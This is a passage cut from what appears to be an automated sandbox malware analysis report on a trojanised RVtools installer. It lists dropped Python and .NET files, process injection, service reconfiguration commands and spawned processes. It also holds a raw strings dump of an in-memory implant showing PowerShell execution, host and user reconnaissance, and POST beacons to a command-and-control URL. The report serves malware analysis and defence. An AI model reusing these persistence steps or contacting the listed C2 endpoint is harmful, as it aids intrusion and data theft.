00000000-00001196] "types.py" has type "Python script Unicode text UTF-8 text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\types.py]- [targetUID: 00000000-00001196] "pkgconfig.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\pkgconfig.py]- [targetUID: 00000000-00001196] "ffiplatform.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\ffiplatform.py]- [targetUID: 00000000-00001196] "ctokens.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\ply\ctokens.py]- [targetUID: 00000000-00001196] "_imp_emulation.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\_imp_emulation.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\__init__.py]- [targetUID: 00000000-00001196] "commontypes.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\commontypes.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__init__.py]- [targetUID: 00000000-00001196] "ygen.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\ply\ygen.py]- [targetUID: 00000000-00001196] "_shimmed_dist_utils.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\_shimmed_dist_utils.py]- [targetUID: 00000000-00001196] "hostfxr_errors.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\util\hostfxr_errors.py]- [targetUID: 00000000-00001196] "netfx.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\netfx.py]- [targetUID: 00000000-00001196] "_build_tables.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\_build_tables.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__init__.py]- [targetUID: 00000000-00001196] "error.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\error.py]- [targetUID: 00000000-00001196] "runtime_spec.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\util\runtime_spec.py]- [targetUID: 00000000-00001196] "lock.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\lock.py]- [targetUID: 00000000-00001196] "clr_error.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\clr_error.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\__init__.py]- [targetUID: 00000000-00001196] "clr.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr.py]- [targetUID: 00000000-00001196]62:Te8e,"RVtools-4.7.0.2.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsyB836.tmp" with delete access "RVtools-4.7.0.2.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsgDF58.tmp" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\__pycache__\clr.cpython-312.pyc.2406833945136" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\pythonnet\__pycache__\__init__.cpython-312.pyc.2406833869360" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\__pycache__\__init__.cpython-312.pyc.2406833875984" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\__pycache__\types.cpython-312.pyc.2406837751648" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\__init__.cpython-312.pyc.2406845317168" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\clr_error.cpython-312.pyc.2406845317600" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\coreclr_errors.cpython-312.pyc.2406845275056" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\find.cpython-312.pyc.2406845318032" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\runtime_spec.cpython-312.pyc.2406845318320" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\hostfxr_errors.cpython-312.pyc.2406845736688" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\__pycache__\netfx.cpython-312.pyc.2406845321344" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\__init__.cpython-312.pyc.2406845323648" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\__init__.cpython-312.pyc.2406845295920" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\api.cpython-312.pyc.2406845296944" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\lock.cpython-312.pyc.2406846166448" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\error.cpython-312.pyc.2406846165808" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\model.cpython-312.pyc.2406846162864" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\hostfxr.cpython-312.pyc.2406845329552" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\mono.cpython-312.pyc.2406845329696" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\netfx.cpython-312.pyc.2406845329840" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\cparser.cpython-312.pyc.2406846159024" with delete access "UsbService86.exe" opened "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\commontypes.cpython-312.pyc.2406845331136" with delete access "UsbService86.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_pd3mqleg.dcc.ps1" with delete access63:T121c,"unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\unicodedata.pyd]- [targetUID: 00000000-00001196] "MSIC2B7.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_decimal.pyd]- [targetUID: 00000000-00001196] "MSIB386.tmp" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- [targetUID: N/A] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pyexpat.pyd]- [targetUID: 00000000-00001196] "_cffi_backend.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_cffi_backend.cp312-win_amd64.pyd]- [targetUID: 00000000-00001196] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_ssl.pyd]- [targetUID: 00000000-00001196] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_lzma.pyd]- [targetUID: 00000000-00001196] "yacc.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\ply\yacc.py]- [targetUID: 00000000-00001196] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_elementtree.pyd]- [targetUID: 00000000-00001196] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_ctypes.pyd]- [targetUID: 00000000-00001196] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_sqlite3.pyd]- [targetUID: 00000000-00001196] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_bz2.pyd]- [targetUID: 00000000-00001196] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_socket.pyd]- [targetUID: 00000000-00001196] "coreclr_errors.py" has type "Python script ASCII text executable with very long lines (396)"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\util\coreclr_errors.py]- [targetUID: 00000000-00001196] "c_parser.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\c_parser.py]- [targetUID: 00000000-00001196] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_asyncio.pyd]- [targetUID: 00000000-00001196] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_hashlib.pyd]- [targetUID: 00000000-00001196] "recompiler.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\recompiler.py]- [targetUID: 00000000-00001196] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_overlapped.pyd]- [targetUID: 00000000-00001196] "_zoneinfo.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_zoneinfo.pyd]- [targetUID: 00000000-00001196] "_msi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_msi.pyd]- [targetUID: 00000000-00001196] "cparser.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\cparser.py]- [targetUID: 00000000-00001196] "vengine_cpy.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\vengine_cpy.py]- [targetUID: 00000000-00001196] "lex.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\ply\lex.py]- [targetUID: 00000000-00001196]64:T458,"setuptools_ext.py" contains indicator ".Run" (Line: 155; Offset: 22) "setuptools_ext.py" contains indicator ".Run" (Line: 179; Offset: 22) "setuptools_ext.py" contains indicator ".Run" (Line: 212; Offset: 24) "__init__.py" contains indicator ".Run" (Line: 8; Offset: 10) "__init__.py" contains indicator ".Run" (Line: 10; Offset: 29) "__init__.py" contains indicator ".Run" (Line: 15; Offset: 41) "__init__.py" contains indicator ".Run" (Line: 34; Offset: 45) "__init__.py" contains indicator ".Run" (Line: 60; Offset: 15) "__init__.py" contains indicator ".Run" (Line: 105; Offset: 5) "__init__.py" contains indicator ".Run" (Line: 118; Offset: 34) "__init__.py" contains indicator ".Run" (Line: 140; Offset: 58) "__init__.py" contains indicator ".Run" (Line: 143; Offset: 40) "__init__.py" contains indicator ".Run" (Line: 146; Offset: 55) "__init__.py" contains indicator ".Run" (Line: 160; Offset: 52) "find.py" contains indicator ".Run" (Line: 8; Offset: 5) "ffiplatform.py" contains indicator ".Run" (Line: 48; Offset: 16) "runtime_spec.py" contains indicator ".Run" (Line: 33; Offset: 22)65:T1071,Executable loaded in memory "MZ@ !L!This program cannot be run in DOS mode. $PELPfi!"? ` @?W` H.text " `.rsrc`$@@.reloc(@B?Ht(0{*"}*{*"}*{*"}*( *0X~ o ,@( ~ o o rp( ( ( o (&~ o &*( (&rprqprp(*( * *r{o{o(*0o~-s ~( (( o ( o ( &rp~(( ( o (&8s~( ( (}{o9{{o(o{o( rpo ,( +7rpo ,+#-s s o &94*_ le0 o *0( ( ~(o *0s o+*0+rprp( rp( r/p( ( *0Wj s! +8 o" l#@(# jj]X ajZ c Xd2($ ( &*0s% rAp(& s' (( () i( o as* -o" +"o+ Yo, o- o. &X2o/ o *0y # +Hl#-DT! @Z#f@[(0 X Xl#@(1 Z (2 #= ףp*@] X21( rp(3 o (4 *0 s% (5 o6 s7 &o8 o9 o: o9 rpo; o< o= o> +o? o o@ &oA -,oB o o (&*S$w)0B ~( o ( +* rp~(( (C t,rpoD ~oE 'oF rpoG oH (I oJ r9pi1( s o ~o o s oK o r;poL oM ( o o+ oN , oO oP oQ sR oS &r9po *# 0 .s% *( *0 5 5i*+i]X 2%+*XX ]X 2%% +PX ] X ]X ] aҜXi2*0( &* * ( *BSJBv4.0.30319l#~ #Strings`#USx#GUID#BlobW %35S OHG; qcE`;HHHm? }? 0% lHH HeEHHHHHHHiByB%BB %G,zHHH % % % ( % 8 % h % % H$,$7$(,#0,U/%P V X _a h i or v z $ 3 :"E"K$#P @#Vx#:#Z|$:%_%eH'!<' :P'k8(kl(!!,%3BGL7ZjzZ!t)1 9~A AIQYyD~IQQQI A%z'KQ:FLR`elstQ~wQ|~L &Uco9AYYaYta Y &qJ ,iu 2 9Y Y > DY L >R y!y..@yAy`yayyyyyayy3BXYq5aat0yyl.dllqytDuGYtElEbrOWnsaPiwkNFXvOiwealtLhPmscorlibSystemObjectget_UUIDset_UUIDget_IDset_IDget_Dataset_Data.ctork__BackingFieldk__BackingFieldk__BackingFieldUUIDIDDataShowWindowGetConsoleWindowmYzgXeYuqfjfeuVmcrIFropRKrtnIxJENuQAuHCSzEHTIdTkePXWkcJueZHogCSystem.TextStringBuilderZNoTptjejlqlESystem.TimersElapsedEventArgsqzoMSSgfFNqAMainmmQlMgRaooYeGvWrveEfpLszZOmhoNeExxSJREDqiYKtTRxEFqKxADution2VawBAYVDCsEmvDution1OklCNsIKHnRmKcPtkkwAtZHNWWpweYcPovaluexBXAsBDnvNiKDsCwYDRnLQwXRrSAxbxKgYvneNDWAExAfluseMSsMrbUkFSLAhVCeWzXVePEsHNtyuoACxjVRpczrAculWXLVeMpSqclXoHNTppDXtlrJBUJvFbuqnxtOJIxAtKCxYiFScsfmCepkDQjtrpcZdpdoWKAcfAswgrvuOSsAHLPXdOSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttribute5aat0yylCompilerGeneratedAttributeSystem.Runtime.InteropServicesDllImportAttributeuser32.dllkernel32.dllget_LengthEncodingget_ASCIIToStringGetBytesConvertToBase64StringStringFormatGuidNewGuidClear<>c__DisplayClass4UgSHhvb__1System.Security.Cryptography.X509CertificatesX509CertificateX509ChainSystem.Net.SecuritySslPolicyErrorsb__0param0param1param2param3RemoteCertificateValidationCallbackCS$<>9__CachedAnonymousMethodDelegate2System.NetServicePointManagerset_ServerCertificateValidationCallbackSystem.DiagnosticsProcessGetCurrentProcessget_IdToInt32EnvironmentOperatingSystemget_OSVersionSystem.ThreadingThreadSleepEqualsThreadStartStartCharSplitFromBase64StringGetStringSystem.Web.ExtensionsSystem.Web.Script.SerializationJavaScriptSerializerDeserializeGetEnvironmentVariableRandomNextMathPowBitConverterDateTimeget_NowTimeSpanSubtractget_TotalSecondsget_CharsAppendSinLogAbsDoubleArrayReverseSystem.Management.AutomationSystem.Management.Automation.RunspacesRunspaceFactoryRunspaceCreateRunspaceOpenRunspaceInvokePipelineCreatePipelineCommandCollectionget_CommandsAddScriptAddSystem.Collections.ObjectModelCollection`1PSObjectInvokeCloseSystem.Collections.GenericIEnumerator`1GetEnumeratorget_CurrentAppendLineSystem.CollectionsIEnumeratorMoveNextIDisposableDisposeExceptionByteWebRequestCreateHttpWebRequestset_Methodset_UserAgentset_Timeoutset_HostIWebProxyget_ProxyCredentialCacheNetworkCredentialget_DefaultNetworkCredentialsICredentialsset_CredentialsSerializeset_ContentTypeSystem.IOStreamGetRequestStreamWriteWebResponseGetResponseGetResponseStreamStreamReaderTextReaderReadToEnd.cctorInt32userinput {0}Shttps://mud.alert-router-b3a.workers.dev/1kgZgwUMuMaoonJhCKrdLzujD10000!register {0} {1}delay exit{0} {1}\{2}COMPUTERNAMEUSERDOMAINUSERNAME}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789F6Out-String{0}/{1}/ POSTAmud.alert-router-b3a.workers.dev!application/jsonNYC#-NR'>gOz\V4 ( ! - - 159= =EM UEQU 18V6N50 ] am qm Eamq y ! ] TWrapNonExceptionThrows?? ?_CorDllMainmscoree.dll% 0HX`LL4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0 FileDescription 0FileVersion0.0.0.0< InternalName5aat0yyl.dll(LegalCopyright D OriginalFilename5aat0yyl.dll4ProductVersion0.0.0.08Assembly Version0.0.0.0@0"66:T1daa,File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\Unicode.Data.Automation.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\python312.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\libcrypto-3.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\sqlite3.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\libssl-3.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pythonnet\runtime\Python.Runtime.dll" File type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\python.exe" File type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\UsbService86.exe" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\python3.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\vcruntime140_1.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 Mono/.Net assembly 4 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\ffi\dlls\amd64\ClrLoader.dll" File type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 Mono/.Net assembly 4 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\ffi\dlls\x86\ClrLoader.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\unicodedata.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_decimal.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pyexpat.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_cffi_backend.cp312-win_amd64.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_ssl.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_lzma.pyd" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\ply\yacc.py" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_elementtree.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_ctypes.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_sqlite3.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_bz2.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_socket.pyd" File type "Python script ASCII text executable with very long lines (396)" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\util\coreclr_errors.py" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\c_parser.py" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_asyncio.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_hashlib.pyd" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\recompiler.py" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_overlapped.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_zoneinfo.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_msi.pyd" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\cparser.py" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\vengine_cpy.py" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\ply\lex.py" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\backend_ctypes.py" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\api.py" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_wmi.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_multiprocessing.pyd" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\ply\cpp.py" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_queue.pyd" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\c_ast.py" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\select.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\winsound.pyd" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\vengine_gen.py" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_uuid.pyd" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\model.py" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\c_generator.py" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\c_lexer.py" File type "Python script ASCII text executable" was dropped at "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\verifier.py"67:T534,"start.exe" wrote 000011C0 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\RVtools-4.7.0.2.exe" (Handle: 1468) "start.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\RVtools-4.7.0.2.exe" (Handle: 1468) "start.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\RVtools-4.7.0.2.exe" (Handle: 1468) "RVtools-4.7.0.2.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\msiexec.exe" (Handle: 936) "RVtools-4.7.0.2.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\sc.exe" (Handle: 152) "RVtools-4.7.0.2.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\sc.exe" (Handle: 968) "UsbService86.exe" wrote 000011C0 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" (Handle: 1900) "UsbService86.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" (Handle: 1900) "UsbService86.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\whoami.exe" (Handle: 3204) "UsbService86.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\whoami.exe" (Handle: 3204)68:T512,Spawned process "ICACLS.EXE" with commandline ""%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\." /SETINTEGRITYLEVEL (CI)(OI)HIGH" (UID: 00000000-00004744) Spawned process "EXPAND.EXE" with commandline "-R files.cab -F:* files" (UID: 00000000-00007788) Spawned process "start.exe" with commandline "RVtools-4.7.0.2.exe" (UID: 00000000-00004460) Spawned process "RVtools-4.7.0.2.exe" (UID: 00000000-00001196) Spawned process "ICACLS.EXE" with commandline ""%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\." /SETINTEGRITYLEVEL (CI)(OI)LOW" (UID: 00000000-00004896) Spawned process "sc.exe" with commandline "sc config msdtc start= demand" (UID: 00000000-00008164) Spawned process "sc.exe" with commandline "sc config msdtc obj= "LocalSystem"" (UID: 00000000-00007268) Spawned process "UsbService86.exe" with commandline "%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\LICENSE1.txt" (UID: 00000000-00007744) Spawned process "csc.exe" with commandline "/noconfig /fullpaths 